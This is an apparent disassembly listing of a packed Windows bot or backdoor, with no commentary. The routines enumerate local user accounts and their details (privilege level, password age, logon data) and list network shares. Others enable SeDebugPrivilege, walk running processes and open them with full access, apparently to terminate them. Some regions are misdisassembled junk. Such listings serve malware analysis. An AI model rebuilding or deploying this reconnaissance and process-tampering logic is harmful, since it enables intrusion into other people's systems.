jnz short loc_410126
mov eax, offset aNo ; "No"
loc_410126: ; CODE XREF: sub_410065+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_411EEE
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_41010F
xor esi, esi
loc_410165: ; CODE XREF: sub_410065+A2j
push [ebp+var_4]
call dword_433B58
loc_41016E: ; CODE XREF: sub_410065+9Aj
cmp ebx, 0EAh
jz loc_41009E
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_410065 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410186 proc near ; CODE XREF: .nsp0:loc_40BFDEp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_41022A
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_4101C8
dec eax
jz short loc_4101BD
dec eax
jnz short loc_4101E3
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_4102CC
add esp, 14h
jmp short loc_4101DF
; ---------------------------------------------------------------------------
loc_4101BD: ; CODE XREF: sub_410186+1Dj
push ebx
push edi
call sub_4102AB
pop ecx
pop ecx
jmp short loc_4101DF
; ---------------------------------------------------------------------------
loc_4101C8: ; CODE XREF: sub_410186+1Aj
cmp [ebp+arg_8], edi
jz short loc_4101DC
push [ebp+arg_8]
push ebx
push edi
call sub_410251
add esp, 0Ch
jmp short loc_4101DF
; ---------------------------------------------------------------------------
loc_4101DC: ; CODE XREF: sub_410186+45j
push 57h
pop eax
loc_4101DF: ; CODE XREF: sub_410186+35j
; sub_410186+40j ...
cmp eax, edi
jnz short loc_410203
loc_4101E3: ; CODE XREF: sub_410186+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_462590
push off_42FD6C[eax*4]
push offset dword_4305C4
push esi
call sub_411EEE
add esp, 10h
jmp short loc_41024A
; ---------------------------------------------------------------------------
loc_410203: ; CODE XREF: sub_410186+5Bj
push eax
call sub_41081A
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_462590
push off_42FD68[eax*4]
push offset dword_430584
push esi
call sub_411EEE
add esp, 18h
jmp short loc_41024A
; ---------------------------------------------------------------------------
loc_41022A: ; CODE XREF: sub_410186+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_462590
lea eax, [eax+eax*2]
push off_42FD68[eax*4]
push offset dword_430548
push esi
call sub_411EEE
add esp, 0Ch
loc_41024A: ; CODE XREF: sub_410186+7Bj
; sub_410186+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_410186 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410251 proc near ; CODE XREF: sub_410186+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_410001
push [ebp+arg_4]
mov edi, eax
call sub_410001
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_410001
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4339AC
pop edi
leave
retn
sub_410251 endp
; =============== S U B R O U T I N E =======================================
sub_4102AB proc near ; CODE XREF: sub_410186+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_410001
push [esp+8+arg_4]
mov esi, eax
call sub_410001
pop ecx
pop ecx
push eax
push esi
call dword_43399C
pop esi
retn
sub_4102AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4102CC proc near ; CODE XREF: sub_410186+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_410001
push [ebp+arg_4]
mov esi, eax
call sub_410001
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_433B20
test eax, eax
mov [ebp+arg_0], eax
jnz loc_410659
mov eax, [ebp+var_4]
test eax, eax
jz loc_410694
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_411EEE
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40F9F1
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_411EEE
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40F9F1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_411EEE
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40F9F1
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_411EEE
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40F9F1
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_4103E5
dec eax
jz short loc_4103DE
dec eax
jz short loc_4103D7
mov eax, offset aUnknown ; "Unknown"
jmp short loc_4103EA
; ---------------------------------------------------------------------------
loc_4103D7: ; CODE XREF: sub_4102CC+102j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_4103EA
; ---------------------------------------------------------------------------
loc_4103DE: ; CODE XREF: sub_4102CC+FFj
mov eax, offset aUser_1 ; "User"
jmp short loc_4103EA
; ---------------------------------------------------------------------------
loc_4103E5: ; CODE XREF: sub_4102CC+FCj
mov eax, offset aGuest ; "Guest"
loc_4103EA: ; CODE XREF: sub_4102CC+109j
; sub_4102CC+110j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_411EEE
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40F9F1
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_411EEE
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40F9F1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_411EEE
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40F9F1
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_411EEE
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40F9F1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_411EEE
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40F9F1
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_411EEE
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40F9F1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_411EEE
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40F9F1
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_411EEE
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40F9F1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_411EEE
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40F9F1
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_411EEE
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40F9F1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_411EEE
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40F9F1
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_411EEE
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40F9F1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_411EEE
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40F9F1
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_411EEE
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40F9F1
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_411EEE
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40F9F1
add esp, 20h
pop edi
pop ebx
jmp short loc_410685
; ---------------------------------------------------------------------------
loc_410659: ; CODE XREF: sub_4102CC+35j
push eax
lea eax, [ebp+var_204]
push offset dword_4305F8
push eax
call sub_411EEE
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40F9F1
add esp, 20h
loc_410685: ; CODE XREF: sub_4102CC+38Bj
cmp [ebp+var_4], 0
jz short loc_410694
push [ebp+var_4]
call dword_433B58
loc_410694: ; CODE XREF: sub_4102CC+40j
; sub_4102CC+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_4102CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41069A proc near ; CODE XREF: .nsp0:0040C00Ap
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_410001
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
add esp, 18h
loc_4106D9: ; CODE XREF: sub_41069A+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_433A30
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_41073A
cmp eax, 0EAh
jz short loc_41073A
push eax
push eax
call sub_41081A
pop ecx
push eax
lea eax, [ebp+var_218]
push offset dword_430800
push eax
call sub_411EEE
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
add esp, 24h
jmp short loc_4107B5
; ---------------------------------------------------------------------------
loc_41073A: ; CODE XREF: sub_41069A+62j
; sub_41069A+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_4107C8
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_4107B5
loc_41074C: ; CODE XREF: sub_41069A+EDj
cmp edi, esi
jz short loc_41078B
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_5 ; " %S"
push eax
call sub_411EEE
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_41074C
jmp short loc_4107B5
; ---------------------------------------------------------------------------
loc_41078B: ; CODE XREF: sub_41069A+B4j
lea eax, [ebp+var_218]
push offset dword_4307B8
push eax
call sub_411EEE
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
add esp, 1Ch
loc_4107B5: ; CODE XREF: sub_41069A+9Ej
; sub_41069A+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_4107C8
push edi
call dword_433B58
xor edi, edi
mov [ebp+var_4], edi
loc_4107C8: ; CODE XREF: sub_41069A+A5j
; sub_41069A+120j
cmp [ebp+var_C], 0EAh
jz loc_4106D9
cmp edi, esi
jz short loc_4107E0
push edi
call dword_433B58
loc_4107E0: ; CODE XREF: sub_41069A+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_411EEE
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_41069A endp
; =============== S U B R O U T I N E =======================================
sub_41081A proc near ; CODE XREF: sub_40FE70+41p
; sub_410065+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_4108CC
jz loc_4108C5
cmp eax, 7Bh
ja short loc_410891
jz short loc_410887
cmp eax, 5
jz short loc_41087D
cmp eax, 8
jz short loc_410873
cmp eax, 32h
jz short loc_410869
cmp eax, 35h
jz short loc_41085F
cmp eax, 57h
jnz loc_41091B
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_41093C
; ---------------------------------------------------------------------------
loc_41085F: ; CODE XREF: sub_41081A+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_41093C
; ---------------------------------------------------------------------------
loc_410869: ; CODE XREF: sub_41081A+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_41093C
; ---------------------------------------------------------------------------
loc_410873: ; CODE XREF: sub_41081A+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_41093C
; ---------------------------------------------------------------------------
loc_41087D: ; CODE XREF: sub_41081A+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_41093C
; ---------------------------------------------------------------------------
loc_410887: ; CODE XREF: sub_41081A+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_41093C
; ---------------------------------------------------------------------------
loc_410891: ; CODE XREF: sub_41081A+1Aj
sub eax, 7Ch
jz short loc_4108BE
sub eax, 7C8h
jz short loc_4108B7
dec eax
jz short loc_4108AD
dec eax
jnz short loc_41091B
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_41093C
; ---------------------------------------------------------------------------
loc_4108AD: ; CODE XREF: sub_41081A+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_41093C
; ---------------------------------------------------------------------------
loc_4108B7: ; CODE XREF: sub_41081A+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_41093C
; ---------------------------------------------------------------------------
loc_4108BE: ; CODE XREF: sub_41081A+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_41093C
; ---------------------------------------------------------------------------
loc_4108C5: ; CODE XREF: sub_41081A+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_41093C
; ---------------------------------------------------------------------------
loc_4108CC: ; CODE XREF: sub_41081A+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_410905
jz short loc_4108FE
sub eax, 8ADh
jz short loc_410930
dec eax
dec eax
jz short loc_4108F7
dec eax
jz short loc_4108F0
dec eax
dec eax
jnz short loc_41091B
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_41093C
; ---------------------------------------------------------------------------
loc_4108F0: ; CODE XREF: sub_41081A+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_41093C
; ---------------------------------------------------------------------------
loc_4108F7: ; CODE XREF: sub_41081A+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_41093C
; ---------------------------------------------------------------------------
loc_4108FE: ; CODE XREF: sub_41081A+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_41093C
; ---------------------------------------------------------------------------
loc_410905: ; CODE XREF: sub_41081A+B9j
sub eax, 8CAh
jz short loc_410937
sub eax, 17h
jz short loc_410930
sub eax, 25h
jz short loc_410929
sub eax, 29h
jz short loc_410922
loc_41091B: ; CODE XREF: sub_41081A+35j
; sub_41081A+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_41093C
; ---------------------------------------------------------------------------
loc_410922: ; CODE XREF: sub_41081A+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_41093C
; ---------------------------------------------------------------------------
loc_410929: ; CODE XREF: sub_41081A+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_41093C
; ---------------------------------------------------------------------------
loc_410930: ; CODE XREF: sub_41081A+C2j
; sub_41081A+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_41093C
; ---------------------------------------------------------------------------
loc_410937: ; CODE XREF: sub_41081A+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_41093C: ; CODE XREF: sub_41081A+40j
; sub_41081A+4Aj ...
push offset dword_462330
call sub_411EEE
pop ecx
mov eax, offset dword_462330
pop ecx
retn
sub_41081A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41094E proc near ; CODE XREF: .nsp0:0040C049p
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_4142C9
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
call near ptr 0AB0000h
dec esi
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_4142C9
lea eax, [ebp+var_718]
push eax
call sub_4142AC
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_433AD8
test eax, eax
jnz short loc_4109DE
mov esi, offset dword_46212C
push offset dword_430B58
push esi
call sub_411EEE
pop ecx
pop ecx
jmp short loc_410A07
; ---------------------------------------------------------------------------
loc_4109DE: ; CODE XREF: sub_41094E+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_41081A
pop ecx
mov esi, offset dword_46212C
push eax
push offset dword_430B1C
push esi
call sub_411EEE
add esp, 14h
loc_410A07: ; CODE XREF: sub_41094E+8Ej
mov eax, esi
pop esi
leave
retn
sub_41094E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410A0C proc near ; CODE XREF: sub_407CC7+7p
; sub_410A77+5Fp ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call near ptr 0AB0000h
dec edx
push eax
call dword_433AAC ; OpenProcessToken
test eax, eax
jnz short loc_410A2B
leave
retn
; ---------------------------------------------------------------------------
loc_410A2B: ; CODE XREF: sub_410A0C+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_433A84 ; LookupPrivilegeValueA
test eax, eax
jz short loc_410A69
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_410A52
or [ebp+var_8], 2
jmp short loc_410A56
; ---------------------------------------------------------------------------
loc_410A52: ; CODE XREF: sub_410A0C+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_410A56: ; CODE XREF: sub_410A0C+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_433B34 ; AdjustTokenPrivileges
mov esi, eax
loc_410A69: ; CODE XREF: sub_410A0C+32j
push [ebp+var_4]
call dword_41D074 ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_410A0C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410A77 proc near ; CODE XREF: .nsp0:0040E54Ap
; sub_410C28+74p
var_550 = byte ptr -550h
var_350 = dword ptr -350h
var_34C = byte ptr -34Ch
var_230 = byte ptr -230h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = dword ptr -124h
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 550h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_433AE8, ebx
lea edi, [ebp+var_128]
mov [ebp+var_12C], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_34C]
mov [ebp+var_350], ebx
rep stosd
jz loc_410C21
cmp dword_433ACC, ebx
jz loc_410C21
cmp dword_4339E8, ebx
jz loc_410C21
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_410A0C
pop ecx
pop ecx
push ebx
push 0Fh
call dword_433AE8 ; CreateToolhelp32Snapshot
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_410C14
lea eax, [ebp+var_12C]
mov [ebp+var_12C], 128h
push eax
push [ebp+var_4]
call dword_433ACC ; Process32First
mov esi, dword_41D074
test eax, eax
jz loc_410C0F
loc_410B1A: ; CODE XREF: sub_410A77+BEj
; sub_410A77+CCj ...
lea eax, [ebp+var_12C]
push eax
push [ebp+var_4]
call dword_4339E8 ; Process32Next
test eax, eax
jz loc_410C0F
cmp [ebp+arg_10], ebx
jnz short loc_410B1A
cmp [ebp+arg_C], ebx
jnz loc_410BC7
cmp [ebp+arg_4], ebx
jz short loc_410B1A
push [ebp+var_124]
push 8
call dword_433AE8 ; CreateToolhelp32Snapshot
cmp [ebp+arg_14], ebx
mov edi, eax
mov [ebp+var_350], 224h
jz short loc_410B84
lea eax, [ebp+var_350]
push eax
push edi
call dword_433994 ; Module32First
push [ebp+var_124]
test eax, eax
jz short loc_410B8A
lea eax, [ebp+var_230]
jmp short loc_410B90
; ---------------------------------------------------------------------------
loc_410B84: ; CODE XREF: sub_410A77+EBj
push [ebp+var_124]
loc_410B8A: ; CODE XREF: sub_410A77+103j
lea eax, [ebp+var_108]
loc_410B90: ; CODE XREF: sub_410A77+10Bj
push eax
lea eax, [ebp+var_550]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_411EEE
add esp, 10h
lea eax, [ebp+var_550]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
add esp, 14h
push edi
call esi ; dword_41D074
jmp loc_410B1A
; ---------------------------------------------------------------------------
loc_410BC7: ; CODE XREF: sub_410A77+C3j
push [ebp+arg_C]
lea eax, [ebp+var_108]
push eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz loc_410B1A
push [ebp+var_124]
push ebx
push 1F0FFFh
call near ptr 0AB0000h
jmp near ptr 8C3D81F5h
; ---------------------------------------------------------------------------
dw 0FFF8h
dd 0E85753D6h, 69F400h, 75C085FFh, 0D6FF5705h, 16A17EBh
; ---------------------------------------------------------------------------
pop eax
jmp short loc_410C23
; ---------------------------------------------------------------------------
loc_410C0F: ; CODE XREF: sub_410A77+9Dj
; sub_410A77+B5j
push [ebp+var_4]
call esi ; dword_41D074
loc_410C14: ; CODE XREF: sub_410A77+75j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_410A0C
pop ecx
pop ecx
loc_410C21: ; CODE XREF: sub_410A77+3Aj
; sub_410A77+46j ...
xor eax, eax
loc_410C23: ; CODE XREF: sub_410A77+196j
pop edi
pop esi
pop ebx
leave
retn
sub_410A77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410C28 proc near ; DATA XREF: .nsp0:0040F121o
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset dword_430C28
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_411EEE
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_410C87
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_40F9F1
add esp, 14h
loc_410C87: ; CODE XREF: sub_410C28+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_410A77
add esp, 18h
test eax, eax
jnz short loc_410CAF
loc_410CA8: ; CODE XREF: sub_410D06+15j
push offset dword_430BEC
jmp short loc_410CB4
; ---------------------------------------------------------------------------
loc_410CAF: ; CODE XREF: sub_410C28+7Ej
push offset dword_430BB4
loc_410CB4: ; CODE XREF: sub_410C28+85j
lea eax, [ebp+var_298]
push eax
call sub_411EEE
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_410CE7
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_40F9F1
add esp, 14h
loc_410CE7: ; CODE XREF: sub_410C28+9Dj
lea eax, [ebp+var_298]
push eax
call sub_408E17
push [ebp+var_14]
call sub_411CB6
pop ecx
pop ecx
push esi
call near ptr 0AB0000h
stc
pop edi
pop esi
sub_410C28 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_410D06 proc near ; CODE XREF: .nsp0:0040E4ECp
; sub_411AD5+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
call near ptr 0AB0000h
loopne loc_410CA8
lock test esi, esi
jz short loc_410D38
push 0
push esi
call near ptr 0AB0000h
nop
test eax, eax
jnz short loc_410D38
push esi
xor edi, edi
call dword_41D074 ; CloseHandle
loc_410D38: ; CODE XREF: sub_410D06+1Aj
; sub_410D06+27j
mov eax, edi
pop edi
pop esi
retn
sub_410D06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410D3D proc near ; CODE XREF: sub_403A5B+63p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call sub_411F4A
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_41D660
call sub_412964
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_410D3D endp
; =============== S U B R O U T I N E =======================================
sub_410D6D proc near ; CODE XREF: sub_4110D8+49p
; DATA XREF: .nsp0:off_430C70o
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
push esi
push edi
call dword_41D048 ; GetTickCount
push eax
call sub_411F40
mov edi, [esp+0Ch+arg_0]
mov [esp+0Ch+var_C], offset dword_425BE8
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_41246A
